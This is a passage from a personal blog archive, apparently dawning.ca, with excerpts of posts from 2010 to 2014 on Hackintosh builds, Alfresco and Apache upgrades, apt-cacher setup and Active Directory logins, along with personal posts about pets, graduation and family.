worked. I got the install to run but it wouldn’t boot after install. I’m probably quite close to it working. I’ll update this post with notes if I work on this further.</p> <h2 id="steps">Steps</h2> <p>\t- Create USB Flash OSX 10.9 installer</p> </article> <article> <h1>My Diary: Upgrading Alfresco Installations</h1> <p>Fri, 11 Apr 2014 21:12:05 +0000</p> <p><a href="https://dawning.ca/uploads/2014/04/Screen-Shot-2014-04-11-at-10.10.58-PM.png"><figure> </picture> </figure> </a>Here’s my diary from the “epic” experience of simply trying to upgrade Alfresco installations from 4.2.c to 4.2.f. I found the community documentation to be dated and had minimal confidence in its current validity. Still, it helped. These are my final notes on the process and in actuality there were a lot of wrong turns I made along the way before landing with the below. I spent like 5 hours working this out. Crazy.</p> </article> <article> <h1>Wordpress content-only custom templates (with plugin javascript (etc) still being loaded)</h1> <p>Sat, 22 Feb 2014 18:39:39 +0000</p> <p>Today I spent a fair while on a quest to display only page content on a Wordpress site of mine. The situation is that I’m trying to make a very easily updated marketing website for an online-learning project of mine. I like using a proprietary page slider for Wordpress (and other platforms, excluding my Moodle e-learning platform). So, hacky as it is, I opted to spin up a dedicated Wordpress site that’d just host the sliders in content-only custom theme template files. Of course, this mandated rolling up the sleeves.</p> </article> <article> <h1>My Diary: on running PHP 5.5+ & Apache 2.4 on Ubuntu 12.04</h1> <p>Sat, 22 Feb 2014 12:09:51 +0000</p> <p>I’ve been working on migrating a Moodle 2.4+ installation from a rickety old Ubuntu 10.04 server on Amazon EC2 to a fresh machine as I can’t seem to update the original server to 12.04, which has newer PHP packages I require to run Moodle 2.6+, which I want specifically due to a user stats plugin I want installed.. So with one thing leading to another, I ran aground recently when I upgraded Ubuntu’s 12.04 Apache2 version to Apache 2.4 (from some PPA). This resulted in my site no longer working, it pretty much just said access denied. This was due to some new Apache security setting that my migrated Virtual Host config lacked.</p> </article> <article> <h1>STP code now on GitHub</h1> <p>Sat, 04 Jan 2014 18:38:41 +0000</p> <div style="float: right; margin: 0 0 1em 1em; max-width: 200px;"> <p>STP 1.0</p> </div> <p>So, it’s been years overdue, but meh. I’ve finally open sourced the code for my cruddy little program, Shit Talker Phoenix. The OSX and Windows versions were developed entirely separately, so they’re posted as entirely separate projects. I put the code up on GitHub. Please feel free to fork, modify and send me pull requests (so I can merge your changes).</p> </article> <article> <h1>Software > MediaDrop Automatic Transcoding Script</h1> <p>Fri, 03 Jan 2014 00:54:49 +0000</p> <p>I’ve been working on a somewhat private personal website intended for sharing of family videos. I’ve converted roughly 200hrs of old family video tapes in to media files and am well on my way to having converted the files in to individual scenes/clips. The content is being shared, with family, using an instant of the web application “MediaDrop”. I love this web application. It’s epic. I was just looking for a podcast feed generator and I found a lot more in <a href="http://mediadrop.net/">MediaDrop</a>.</p> </article> <article> <h1>All Hail Tony, The Digital Warlock</h1> <p>Fri, 29 Mar 2013 00:09:07 +0000</p> <p><a href="https://dawning.ca/uploads/2013/03/IMG_3291.jpg"><figure> </picture> </figure> </a></p> <p>This is the tale of a man who was faced with colossal data loss. As his family photos seem to fade in to the ether and with nothing to lose, he drew a line in the digital sand. He gained a persona that day, he was no longer just “Tony: Loving husband and father”. No no, that fateful day this man also became <em>The Digital Warlock</em>.</p> </article> <article> <h1>Notes on creating a i7 based Hackintosh</h1> <p>Sat, 16 Mar 2013 00:13:45 +0000</p> <p>Recently I decided to try shuffling around my hardware and try a hackintosh setup on my recently acquired i7 box. I last dabbled in this stuff many years back with a P4 box. Suffice to say, my beloved 2008 era Mac Pro is starting to show some age and while I could upgrade it, Apple’s dragged ass in updating the Mac Pro line. So, here are my notes.</p> <p>Read on to see what steps should work for you, should you use similar hardware.</p> </article> <article> <h1>Apt cache cheatsheet</h1> <p>Fri, 08 Feb 2013 13:29:44 +0000</p> <p>I’ve been setting up a number of apt-cacher instances on different networks I run Ubuntu boxes on. This is a well documented process. I’m posting the key steps if only for my own reference later.</p> <ol> <li> <p><em>apt-get install apt-cacher</em></p> </li> <li> <p>Edit <em>/etc/default/apt-cacher</em> add <em>AUTOSTART=1</em>.</p> </li> <li> <p>Edit <em>/etc/apt-cacher/apt-cacher.conf</em> and make sure the allowed_hosts line is explicitly as intended.</p> </li> <li> <p>Open client (and local server’s) <em>/etc/apt/sources.list</em> and str repl <em>%s/http:\/\//http:\/\/SERVERHOSTNAME:3142\/apt-cacher\//g</em></p> </li> </ol> <p>Default port is 3142</p> <h2 id="good-detailed-resources">Good detailed resources:</h2> </article> <article> <h1>Yes, I'm still alive!</h1> <p>Tue, 18 Dec 2012 16:55:40 +0000</p> <p><figure> </picture> </figure> </p> <p>Yes, I am indeed still alive. I had my site hosted on Amazon Web Services EC2 for a while. Some sort of database problem kept grinding that server to a halt. I’ve since migrated my site elsewhere (not because of that) and sort of patched the issues in the process.</p> <p>I’ve been seriously considering blowing away this website and making something completely new.. And probably not Wordpress-based.. (Wordpress is awesome, I just am ready for something else). In the mean time, I’ve received the odd request to resurrect my site from <a href="https://dawning.ca/software/stp/">STP</a> users. So, for now anyway, Dawning.ca is back!</p> </article> <article> <h1>Running Synergy on OSX</h1> <p>Mon, 17 Dec 2012 18:10:13 +0000</p> <p><a href="http://synergy-foss.org/wiki/Startup/Mac_OSX_plist_Instructions"><figure> </picture> </figure> </a></p> <p>Since adopting OSX as my typical workstation environment, I’ve often been annoyed by a lack of understanding about how to cleanly call it from the commandline, but not via a terminal. On Linux I’d typically just make a little bash script and fork it out from /etc/rc.local. That’s not really an option on OSX.</p> <p>A lot of current Synergy users don’t really have to solve this issue any more, because Synergy 1.4 has a pretty GUI they can use. However, some people, like myself, are using Synergy with the 1.3 based version included with Ubuntu. Not to mention, I’m fond of running multiple instances of synergy at once, which the GUI doesn’t support.</p> </article> <article> <h1>Meet my new minion: GRYPHON!</h1> <p>Wed, 02 May 2012 21:19:38 +0000</p> <p>I’ve long since been missing canine companionship since my legendary pal Blaze’s days became numbered. The last few years have not been particularly accommodating of a battlehound… Finally, however, the time has arrived.</p> <p><figure> </picture> </figure> </p> <p><figure> </picture> </figure> </p> <p><figure> </picture> </figure> </p> <p><figure> </picture> </figure> </p> <p>Enter Gryphon, the awesome puppy! I got her through a rescue organization (<a href="http://albertaanimalrescuecrew.com/">AARCS</a>). She’s a damned smart pup and has inspired us to meet tons of people in the community now. Annnyway.. Read on to see the full photo album of her first month with us, during which she aged from 4 to 5 months old.</p> </article> <article> <h1>Thank you Steve</h1> <p>Wed, 05 Oct 2011 19:08:12 +0000</p> <p>Thanks for all your profound, inspiring and helpful inventions Steve. You’ve made an admirable mark on the world.</p> <p><a href="http://www.apple.com"><figure> </picture> </figure> </a></p> </article> <article> <h1>Trac Authenticating Through Active Directory</h1> <p>Mon, 26 Sep 2011 10:06:18 +0000</p> <p>A minor post - mostly for my own notes..</p> <p>I was setting up an instance of <a href="http://trac.edgewall.org/">Trac</a> and I wanted <a href="http://en.wikipedia.org/wiki/Active_Directory">Active Directory</a> authentication going. I’ve had this before, but I recently learned of <a href="http://en.wikipedia.org/wiki/Active_Directory#Unix_integration">Centrify</a> which provides a VERY easy means to setup system authentication with AD. This meant I needed to find a Centrify-specific way to get AD authentication going in Trac.</p> <p>I was close to an obvious simple solution for a fair while, but I kept running in to error messages like:</p> </article> <article> <h1>Geekery Datacentre Project Completed</h1> <p>Mon, 04 Apr 2011 10:55:27 +0000</p> <p><figure> </picture> </figure> When it was but a closet</p> <p><figure> </picture> </figure> The Initial Setup</p> <p><figure> </picture> </figure> And Finally…</p> <p>Shortly after moving in to my house, I opted to use a room for my Geekery (formerly known as “Nerdery”).. I dedicated circuit for power installed to make this closet remotely suitable to set up my hacky server “rack” (AKA Ikea Shelf) in.</p> <p><strong>Update (Apr 26)</strong></p> <p>This hack has been posted on Hackaday, Howtogeek and geeknmod (I suppose some others too). Coolness.</p> </article> <article> <h1>Liquid-Fluoride Thorium Reactor</h1> <p>Fri, 01 Apr 2011 10:40:36 +0000</p> <p>I went to a Protospace talk recently where I listened to a wonderful 4 hour talk about Thorium based reactors. Suffice to say it was time wonderfully well spent. I’m so energized and psyched. I’ve really liked Nuclear power in the past, but that’s given way to this even better alternative. Seems a great deal safer and just all round “better” in every dimension.</p> <p>Here’s an early video from the talk. A buddy is working on a refined version combining multiple angles (some of which I filmed).</p> </article> <article> <h1>Calgary Traffic Web Cams</h1> <p>Wed, 23 Feb 2011 13:45:43 +0000</p> <p>For a while I’ve had this Calgary Traffic page that brings together live web cam images from the city’s public traffic website. I didn’t really like that I couldn’t see all the cameras from the view they give, so I whipped up a page to do it for me..</p> <p>Anyway, I just updated the page as I found they’ve since added another 30 cameras since the last time I looked. I also added a little more brains to my script for this.</p> </article> <article> <h1>Throwing Down an LED where the Potential is great</h1> <p>Thu, 17 Feb 2011 00:15:14 +0000</p> <p>I saw<a href="http://www.instructables.com/community/How-do-I-reduce-300volts-to-3/"> this post on Instructables</a> where someone asked how they could add an LED on to a high-voltage source. And for reasons I can’t explain, I just felt compelled to take a crack at it…</p> <p>On the surface it’s a pretty boring/simple question. But on the other, as much as I’ve answered this question for myself several times, I thought I’d provide my approach for the world to judge. Supposedly I’ve learned how to do this (and a lot more) in school, but it seems to me like the basics like this are worthy of most of the attention.</p> </article> <article> <h1>Quick Recipe for MediaWiki with AD logins</h1> <p>Wed, 02 Feb 2011 13:24:40 +0000</p> <p><a href="https://dawning.ca/uploads/2011/02/w00t.png"><figure> </picture> </figure> </a>Here’s a quick recipe for getting a server up with MediaWiki running and having Active Directory Logins working with it… I’ll warn you, there are other ways of doing this. I find this to satisfy my needs, but if you manage to cause the world to implode, I won’t be held responsible.</p> <p><strong>Step 1: Set up your server</strong></p> <p>I created an Ubuntu 10.10 server VM for this, use whatever if you have some sort of issue against doing the same as me.</p> </article> <article> <h1>World, meet STP 1.0 for Windows</h1> <p>Wed, 12 Jan 2011 23:16:33 +0000</p> <p><a href="https://dawning.ca/software/stp/"><figure> </picture> </figure> </a></p> <p>Well, after a craptacular number of requests via email and youtube, I’ve finally finished tossing together a Windows version to help out all my anonymous totally random friends.</p> <p>I should point out, THIS WORKS on Windows 7 (and quite probably Windows Vista). But I should confess the lame situation with the Text-to-Speech engine in Windows is the lack of voice profile options. Apparently there’s a way to install voice packs. I’ve written STP for Windows to take advantage of such options on systems they exist on. But… If anyone actually finds a voice profile pack that ‘clicks’, be sure to let me know and I’ll see about hooking that in to the installer.</p> </article> <article> <h1>Happy 100th Birthday Grandma Smith!</h1> <p>Mon, 03 Jan 2011 20:30:57 +0000</p> <figure style="float: right; margin: 0 0 1em 1em; max-width: 316px;"> <a href="https://dawning.ca/pix/album/72157623978853323/grandma-smiths-100th-birthday.html"></a> <figcaption>Photos from Grandma Smith's 100th Birthday Shindig!</figcaption> </figure> <p>For those in the know, my mother’s mother has just officially turned 100!</p> <p>**This woman is one of the most impressive and interesting people I know. **</p> <p>A master-knitter amongst far too many more things to enumerate, she’s traveled quite the path thus far. Everyone on the family has at least several things she’s knitted and all those who visit her know she continues to keep a sharp mind!</p> </article> <article> <h1>The Air is on fire! Shaw Gigabit Fibre Internet FTW!</h1> <p>Sat, 25 Dec 2010 02:09:54 +0000</p> <figure style="float: right; margin: 0 0 1em 1em; max-width: 348px;"> <a href="http://www.flickr.com/photos/dawning/5289315457/"></a> <figcaption>Exhibit A: </figcaption> </figure> <figure style="float: right; margin: 0 0 1em 1em; max-width: 348px;"> <a href="http://www.flickr.com/photos/dawning/5289366837/"></a> <figcaption>Exhibit 2: Damn, seriously.</figcaption> </figure> <p><strong>Shaw Gigabit Fibre Internet doesn’t bother Transmitting Data, it TELEPORTS it!</strong></p> <p>Here I sit in my bed @ my parent’s place on Christmas Eve. I decided to test out their new <a href="http://www.shaw.ca/en-ca/ProductsServices/Internet/The+Fasternet">internet connection</a> & <a href="http://store.apple.com/ca/product/MC340AM/A/AirPort-Extreme?mco=MTY3ODQ5OTY">router</a> by enjoying another kind of “Eve”, <a href="http://www.eveonline.com/">Eve Online</a>.</p> <h2 id="the-air-is-on-fire-but-in-the-good-way">The Air is on fire, but in the good way</h2> <p>About the same time as this new internet service was hooked up I randomly decided to upgrade my parents to use <a href="http://en.wikipedia.org/wiki/Wireless_N">Wireless N</a> (with a repeater rig, a la <a href="http://en.wikipedia.org/wiki/Airport_Extreme">Airport Extreme</a> & <a href="http://en.wikipedia.org/wiki/AirPort_Express#AirPort_Express">Airport Express</a>).</p> </article> <article> <h1>AirPlay Through pfsense Bridge</h1> <p>Thu, 23 Dec 2010 19:27:48 +0000</p> <p><a href="https://dawning.ca/uploads/external/WiresharkOnAirTunes_a3fe1ae5.png"><figure> </picture> </figure> </a>Howdy all, geek-mode enabled.</p> <p>So I’ve been fighting somewhat to get my <a href="http://en.wikipedia.org/wiki/Airtunes">AirPlay </a>enabled device (<a href="http://en.wikipedia.org/wiki/Appletv">Apple TV</a>) to function perfectly. I use <a href="http://en.wikipedia.org/wiki/Pfsense">pfsense</a> to run my router and in so doing I’ve got a Wireless and Wired network that are <a href="http://en.wikipedia.org/wiki/Network_bridge">bridged together</a>. I found with the <a href="http://en.wikipedia.org/wiki/Appletv">AppleTV</a> that only devices on the same physical media could stream to it, though all devices could “see” it.</p> <p>After submitting a feature request to Apple over this, I decided I wanted it solved for me anyway and I felt close to the solution. Since I had no logs to go by, I decided to bust out <a href="http://en.wikipedia.org/wiki/Wireshark">Wireshark</a> to sniff all the involved network traffic. Suffice to say, I was rather entertained to find that when using AirPlay the payloads are flying around in <a href="http://en.wikipedia.org/wiki/Ipv6">IPv6</a>, not <a href="http://en.wikipedia.org/wiki/Ipv4">IPv4</a>. Just look at the caption in this post. All those teal packets is iTunes streaming audio to my AppleTV via AirPlay. It’s <a href="http://en.wikipedia.org/wiki/User_Datagram_Protocol">UDP</a> over IPv6. Neato.</p> </article> <article> <h1>Getting Synergy (or whatever) to run automatically in Snow Leopard</h1> <p>Thu, 16 Dec 2010 01:26:06 +0000</p> <figure style="float: right; margin: 0 0 1em 1em; max-width: 412px;"> <figcaption>Here you see the </figcaption> </figure> <p>If you’re geeky like me, then you may be a lover of <a href="http://www.youtube.com/watch?v=exnwHkyzTSg">Synergy</a>..</p> <p>Well, many of us have long since used some of the old funky tricks for getting Synergy to start up automatically (like the ol LoginWindow trick). But that seems to not be so helpful (for me anyway), as of upgrading to Apple’s Mac OSX Snow Leopard (10.5).</p> </article> <article> <h1>Pretty Cycling Images and URLs</h1> <p>Wed, 08 Dec 2010 14:37:40 +0000</p> <p>I recently tossed up my little cycling badge of things I like (to the left) and in the process I had to do some CSS/jQuery “research”.</p> <p>I found <a href="http://jonraasch.com/blog/a-simple-jquery-slideshow/">THIS really helpful guide</a> that nicely explained everything, but it wasn’t precisely what I wanted. I found that in using the code as given there, all the images would grossly load in a stack and images of different sizes would remain visible in the stack as they cycled. I also didn’t really like the idea of the fading animations being tied to the IMG tag, I wanted to use a more generic DIV container instead, after all I like writing code I can easily re-use later.</p> </article> <article> <h1>¡Mi cumpleaños número 27, en México hermoso!</h1> <p>Sat, 20 Nov 2010 20:59:58 +0000</p> <p><figure> </picture> </figure> Check out some <a href="https://dawning.ca/pix/album/72157625309467599/27th-birthday-this-time-in-cancun.html">more photos here</a>.</p> <p>Ding, I just hit “level 27”.. Well, here we’ve yet another year past.</p> <p>You know, when I was about 20, I decided that 25 would be an amazing year for me. I thought I’d be done school and would have torn in to some great work by then. As it turned out, 25 was a good year, but nothing like 26 has been.</p> </article> <article> <h1>Using a PC Video Card in a Mac Pro</h1> <p>Tue, 07 Sep 2010 14:36:46 +0000</p> <p>Like various other <a href="http://www.apple.com/macpro/specs.html">Mac Pro</a> users who’ve been spoiled by the PC universe, I’ve grown disinterested in paying Apple top dollar for a video card upgrade that produces a piece of hardware I can buy for a lot less from the local hardware store (with only a firmware distinction).</p> <p>As such, I’ve endeavored to modify <a href="http://www.memoryexpress.com/Products/PID-MX27397%28ME%29.aspx">a PC card</a> for use with my Mac Pro. Thanks to the amazing skills of one “<a href="http://netkas.org">netkas</a>”, I was able to make some nice headway.</p> </article> <article> <h1>Desktop Aquarium Project</h1> <p>Mon, 26 Jul 2010 00:14:56 +0000</p> <p><a href="https://dawning.ca/uploads/external/4829079009_be5143a3b4_be6d0fbe.jpg"><figure> </picture> </figure> </a>This the little story a weekend project to add more of a soul to my computery-workspace at home. The result has really delighted me and I’m already well in to plotting out a similar project for my office. I’d suggest those who are considering such a project themselves should jump in to it!</p> <h2 id="the-story-of-the-desktop-aquarium">The Story of the Desktop Aquarium</h2> <p>Lately I’ve been itching to setup a Terrarium of sorts. I <a href="http://www.stormthecastle.com/terrarium/">found this website</a> and it got me fairly excited on a few levels. I ordered a bunch of Bonsai seeds (mostly Japanese Maple variants), but my short-term drive to set up a little world of life remained.</p> </article> <article> <h1>Decent Fiction</h1> <p>Tue, 13 Jul 2010 19:05:49 +0000</p> <figure style="float: right; margin: 0 0 1em 1em; max-width: 220px;"> <a href="http://kobobooks.com/ebook/Enders-Game/book-gDmG1it1uEmfsJHvficMIA/page1.html"></a> <figcaption>Ender's Game by Orson Scott Card</figcaption> </figure> <p>Upon my <a href="https://dawning.ca/2010/kobo-ereader-unboxed-linux/">recent acquisition of a Kobo eReader</a>, I’ve been recreationally reading quite a lot lately. Two books I recently finished reading were <a href="http://kobobooks.com/ebook/Enders-Game/book-gDmG1it1uEmfsJHvficMIA/page1.html">Ender’s Game</a> and <a href="http://kobobooks.com/ebook/Pirate-Latitudes-A-Novel/book-tHyc566e-USEE0G98YK0mg/page1.html">Pirates Latitudes</a>. Both were entertaining in their own right.</p> <h2 id="enders-game">Ender’s Game</h2> <p><em>Ender’s Game</em> is a classic Sci-Fi novel that I’ve heard referred to on multiple occasions. It seems to be a classic favorite amongst the geek crowd. I had high expectations of it and upon reading it, found it to be reasonably predictable. THAT said, I really quite enjoyed it. I often found myself thinking: “I <em>knew</em> they’d do that! .. huh, that’s <em>STILL</em> awesome”.</p> </article> <article> <h1>Learn from Seymour & Get Smarter</h1> <p>Wed, 23 Jun 2010 10:20:40 +0000</p> <p><a href="http://www.amazon.com/Get-Smarter-Seymour-Schulich/dp/1554701155/ref=sr_1_1?ie=UTF8&s=books&qid=1277311346&sr=8-1"><figure> </picture> </figure> </a>Upon <a href="https://dawning.ca/2010/grad/">graduating recently</a>, I found the Engineering group had a special treat - a copy of <a href="http://en.wikipedia.org/wiki/Seymour_Schulich">Seymour Schulich’s</a> “<a href="http://www.amazon.com/Get-Smarter-Seymour-Schulich/dp/1554701155/ref=sr_1_1?ie=UTF8&s=books&qid=1277311346&sr=8-1">Get Smarter</a>” was given to each grad. In an atypical move, I decided to read this non-textbook source of information.</p> <h2 id="worth-reading">Worth Reading</h2> <p>I quite enjoyed it, Schulich has arranged the book in to a ton of tiny chapters. In each, he quickly and effectively conveys an opinion or experience of his. If you’re not interested in something, it’s easy to skip on (granted I never did) and the rest of the book will still make sense. Given Schulich’s history, this is a man with some neat concepts to convey. He discusses a vast range of topics from his opinions about assessing career options to finding meaning in life.</p> </article> <article> <h1>Kobo - Unboxed & Linux Friendly</h1> <p>Mon, 21 Jun 2010 23:41:46 +0000</p> <p><figure> </picture> </figure> I’ve recently acquired myself a Kobo eReader. Read on to learn of my initial experiences, thoughts and reactions..</p> <h2 id="for-those-who-remain-unaware-of-what-an-ereader-is">For those who remain unaware of what an ereader is…</h2> <p>They are little device designed to replace physical books. The key to success of the major ereaders (of which the ipad is NOT included) is the use of a completely distinct display technology called <a href="http://en.wikipedia.org/wiki/E_Ink">E-Ink</a>. The important detail about that is that things displayed on E-Ink look just as though they were printed on paper. Compare this to viewing a typical LCD screen (like that of your phone) in the bright sun. The LCD has to overcome the ambient light, which is really tough in the day. The sharp contrast in brightness is similarly tiring for eyes in good lighting. E-Ink is free of that burden.</p> </article> <article> <h1>8 Years, 2 Degrees, 1 Internship & 0 Regrets</h1> <p>Fri, 18 Jun 2010 16:15:36 +0000</p> <p><a href="https://dawning.ca/pix/album/72157624231834702/engineering-grad.html"><figure> </picture> </figure> </a><a href="https://dawning.ca/pix/album/72157624110319719/computer-science-grad.html"><figure> </picture> </figure> </a><figure> </picture> </figure> Well, for those that know, it’s been a damned long time in coming, but I have finally fully graduated as of June 7th and 8th 2010.</p> <p>The tale of my 8 year tenor at the University of Calgary is somewhat of a unique animal, there was a lot of pain and a great deal of fun. As I look back after just completing that journey I am delighted to be through it and I’m keen to move on in to new areas of life. But I also know that these years were great and I’ll happily reflect upon them as I drift away from this phase.</p> </article> <article> <h1>Erlenmeyer Flask of Drinking</h1> <p>Fri, 18 Jun 2010 15:42:06 +0000</p> <p><figure> </picture> </figure> </p> <p>I’ve long since loathed the wide range of drinking vessels that I know react with my water. I’m already seriously irritated about the mandatory fluoridation of my drinking water. So I hardly like that drinking from a metal container tends to make my water taste metallic. Then there’s my instinctual concerns about anything plastic.</p> <p>This led me to glass. However, I remained unconvinced that typical glass products are plain nonreactive glass.. Thus, I decided upon chemistry glasswares. From there, I decided to run with an Erlenmeyer Flask as it’ll sit well on my desk and can defend against the attacks of cat tongues.</p> </article> <article> <h1>Watch The Guild</h1> <p>Sat, 29 May 2010 22:52:18 +0000</p> <figure style="float: right; margin: 0 0 1em 1em; max-width: 206px;"> <figcaption>My copy of 'The Guild'</figcaption> </figure> <p><a href="http://www.watchtheguild.com/">The Guild</a> has been around for some time now and I’ve enjoyed watching it many times over. It’s about the woes of RL existence for a group of gamer geeks.</p> <p>I first noticed the main drive behind The Guild, <a href="http://feliciaday.com/">Felicia Day</a>, from another similarly awesome project - <a href="http://drhorrible.com/">Dr. Horrible’s Sing-along Blog</a>. Aside from that, I’m also a casual but frequent World of Warcraft player. Thus, when I encountered The Guild I was absolutely trilled as it does a great job of illustrating the tone of some of the weird social stuff that comes out of leading a dominant online life.</p> </article> <article> <h1>Cheers to our sage cat, Mr. Jasper</h1> <p>Thu, 25 Mar 2010 21:20:16 +0000</p> <p><a href="https://dawning.ca/pix/album/72157623570839731/jasper-sage-of-cats.html"><figure> </picture> </figure> </a>Jasper, our epically sage cat left us March 24th, 2010.</p> <p>He sported a remarkable disposition unlike that of any other cat I’ve known. He expressed a vast range of positive emotions (with the occasional impressive act of disapproval). Jasper’s one of a kind character sets the bar for kitties everywhere and earned him an assortment of loving nick-names such as “Puppy Cat”. His grace is unrivaled and we will unquestionably miss him.</p> </article> <article> <h1>This Engineer has been called</h1> <p>Tue, 16 Mar 2010 22:29:50 +0000</p> <p><a href="https://dawning.ca/pix/album/72157623623122204/calling-of-the-engineer.html"><figure> </picture> </figure> </a> Last Saturday was the Ritual of the Calling of an Engineer, particularly in this case, my calling.</p> <p>The day consisted of a workshops, some social gatherings, a formal ring ceremony and banquet.. It was an epically full day I’m sure to remember so long as my brain is in tact.</p> <p>Suffice to say, I learned a lot more about the illusive Iron Ring. I discovered a lot more about what it stands for and I now have a lot more appreciation for this symbol and commitment. By the nature of the commitment, we’re not encouraged to rant about the details as it’s a commitment to ourselves and thus not intended to be a public thing. It’s a great concept & I think it could and should be expanded in some regard to apply to any and all professions, at least in some regard.</p> </article> <article> <h1>Ubuntu 9.10 remote mounts via sshfs</h1> <p>Sun, 07 Feb 2010 17:30:34 +0000</p> <p>Hey just a fast post here.. I’ve been using sshfs on Ubuntu (meh, linux in general) for awhile as a means of securely remotely accessing my files. I’ve taken some steps to add a line to my /etc/fstab file to make this run smoothly…</p> <p>Though today I ran in to a really weird situation. I found that despite having a <code>uid=xxxx</code> line, the appropriate user wasn’t getting ownership of the mount. In fact, when that user would look at the permissions for the mount, it returned something like “d???? ? ? ?”. Whisky Tango Foxtrot.</p> </article> <article> <h1>No More Chalkboard Spam</h1> <p>Fri, 29 Jan 2010 10:45:00 +0000</p> <h2 id="a-message-to-my-fellow-u-of-c-students">A Message to my fellow U of C Students….</h2> <figure style="float: right; margin: 0 0 1em 1em; max-width: 350px;"> <a href="https://dawning.ca/uploads/2010/01/photo.jpg"></a> <figcaption>'PL'-this BS-'O' </figcaption> </figure> <p>The other day I was sitting in class watching a prof write some notes on the chalkboard. As per usual, he navigated around a big section of the board that was boxed off with a note “PLO” (Please Leave On) written over it. The notes he wrote were compressed and distorted as he really needed a full board to express the idea.</p> </article> <article> <h1>iPad FTW?</h1> <p>Thu, 28 Jan 2010 12:10:27 +0000</p> <figure style="float: right; margin: 0 0 1em 1em; max-width: 204px;"> <a href="http://www.apple.com/ipad/"></a> <figcaption>iPad Promo Images</figcaption> </figure> <p>Yesterday Apple introduced their massively anticipated iPad tablet device. For those who haven’t yet heard about it, it’s basically a hudge iPhone (that doesn’t make phone calls). The iPad is meant to unlock a “new” market segment for small computing devices that is somehow not already met by the iPhone and netbooks.</p> <h2 id="what-does-it-do-anything-new">What does it do, anything new?</h2> <p>The iPad doesn’t bring new functionality to the computing world, but it does consolidate and simplify use particularly of eBooks. There have long since been many very cool eBook readers out there built around providing simple means for people to read electronic books.</p> </article> <article> <h1>Twitter Weekly Updates for 2010-01-25</h1> <p>Mon, 25 Jan 2010 06:45:00 +0000</p> <p>\t- Ugh, having some weird connectivity problems with #<a href="http://search.twitter.com/search?q=%23Shaw">Shaw</a> right now. #yyc. Established connections are holding, new ones will sometimes work <a href="http://twitter.com/docdawning/statuses/8174483945">#</a></p> <p>\t- Being forced to work on my pf skills.. Can’t resume my Django fun until I solve this. Sigh. <a href="http://twitter.com/docdawning/statuses/8165699460">#</a></p> <p>\t- Well, that was a good #<a href="http://search.twitter.com/search?q=%23django">django</a> jam session. What? stayed up all night again? Huh.. <a href="http://twitter.com/docdawning/statuses/8068040185">#</a></p> <p>\t- Okay, I fixed my GoDaddy problem.. I’m not happy that my DNS record randomly changed like that. WTF? <a href="http://twitter.com/docdawning/statuses/8063945116">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2010-01-25</h1> <p>Mon, 25 Jan 2010 06:45:00 +0000</p> <p>\t- Ugh, having some weird connectivity problems with #<a href="http://search.twitter.com/search?q=%23Shaw">Shaw</a> right now. #yyc. Established connections are holding, new ones will sometimes work <a href="http://twitter.com/docdawning/statuses/8174483945">#</a></p> <p>\t- Being forced to work on my pf skills.. Can’t resume my Django fun until I solve this. Sigh. <a href="http://twitter.com/docdawning/statuses/8165699460">#</a></p> <p>\t- Well, that was a good #<a href="http://search.twitter.com/search?q=%23django">django</a> jam session. What? stayed up all night again? Huh.. <a href="http://twitter.com/docdawning/statuses/8068040185">#</a></p> <p>\t- Okay, I fixed my GoDaddy problem.. I’m not happy that my DNS record randomly changed like that. WTF? <a href="http://twitter.com/docdawning/statuses/8063945116">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2010-01-18</h1> <p>Mon, 18 Jan 2010 06:45:00 +0000</p> <p>\t- When I become a tycoon, my bathroom tower room will look like: <a href="http://twitti.ms/Fsd5">http://twitti.ms/Fsd5</a> <a href="http://twitter.com/docdawning/statuses/7847948196">#</a></p> <p>\t- Well, I just refined my website redesign a ton. What you all think? <a href="https://dawning.ca/">https://dawning.ca</a>) <a href="http://twitter.com/docdawning/statuses/7824778779">#</a></p> <p>\t- Whoops, damn automated Tweet thingys - gotta remember where my spies are. ;) <a href="http://twitter.com/docdawning/statuses/7823410443">#</a></p> <p>\t- Web Apps <a href="http://twitter.com/docdawning/statuses/7822584770">#</a></p> <p>\t- Hardware <a href="http://twitter.com/docdawning/statuses/7822580499">#</a></p> <p>\t- Software <a href="http://twitter.com/docdawning/statuses/7822577097">#</a></p> <p>\t- Dawning.ca Spruced Up <a href="http://twitter.com/docdawning/statuses/7782994446">#</a></p> <p>\t- Man, my quest to not eat chicken is a formidible task <a href="http://twitter.com/docdawning/statuses/7766561296">#</a></p> <p>\t- Evidently Jeri Ryan is marginally larger than my hand! <a href="http://twitti.ms/4vWi">http://twitti.ms/4vWi</a> <a href="http://twitter.com/docdawning/statuses/7741165829">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2010-01-18</h1> <p>Mon, 18 Jan 2010 06:45:00 +0000</p> <p>\t- When I become a tycoon, my bathroom tower room will look like: <a href="http://twitti.ms/Fsd5">http://twitti.ms/Fsd5</a> <a href="http://twitter.com/docdawning/statuses/7847948196">#</a></p> <p>\t- Well, I just refined my website redesign a ton. What you all think? <a href="https://dawning.ca/">https://dawning.ca</a>) <a href="http://twitter.com/docdawning/statuses/7824778779">#</a></p> <p>\t- Whoops, damn automated Tweet thingys - gotta remember where my spies are. ;) <a href="http://twitter.com/docdawning/statuses/7823410443">#</a></p> <p>\t- Web Apps <a href="http://twitter.com/docdawning/statuses/7822584770">#</a></p> <p>\t- Hardware <a href="http://twitter.com/docdawning/statuses/7822580499">#</a></p> <p>\t- Software <a href="http://twitter.com/docdawning/statuses/7822577097">#</a></p> <p>\t- Dawning.ca Spruced Up <a href="http://twitter.com/docdawning/statuses/7782994446">#</a></p> <p>\t- Man, my quest to not eat chicken is a formidible task <a href="http://twitter.com/docdawning/statuses/7766561296">#</a></p> <p>\t- Evidently Jeri Ryan is marginally larger than my hand! <a href="http://twitti.ms/4vWi">http://twitti.ms/4vWi</a> <a href="http://twitter.com/docdawning/statuses/7741165829">#</a></p> </article> <article> <h1>Dawning.ca Spruced Up</h1> <p>Fri, 15 Jan 2010 03:12:36 +0000</p> <figure style="float: right; margin: 0 0 1em 1em; max-width: 272px;"> <figcaption>Previous Dawning.ca Layout</figcaption> </figure> <p>I’ve just spent a few hours re-designing the layout of Dawning.ca. The <a href="http://wordpress.org/extend/themes/oriental">old one</a> served me very well and I really liked it. I had heavily modified the previous theme to work for me and work it did. I may tap it some time in the future as a backup… As you can see to the right, the new style is fairly different compared to the image. Although I kept the workflow as I think it was already pretty good.</p> </article> <article> <h1>Twitter Weekly Updates for 2010-01-11</h1> <p>Mon, 11 Jan 2010 05:45:00 +0000</p> <p>\t- Working on my Django based scheduling web application.. Nice 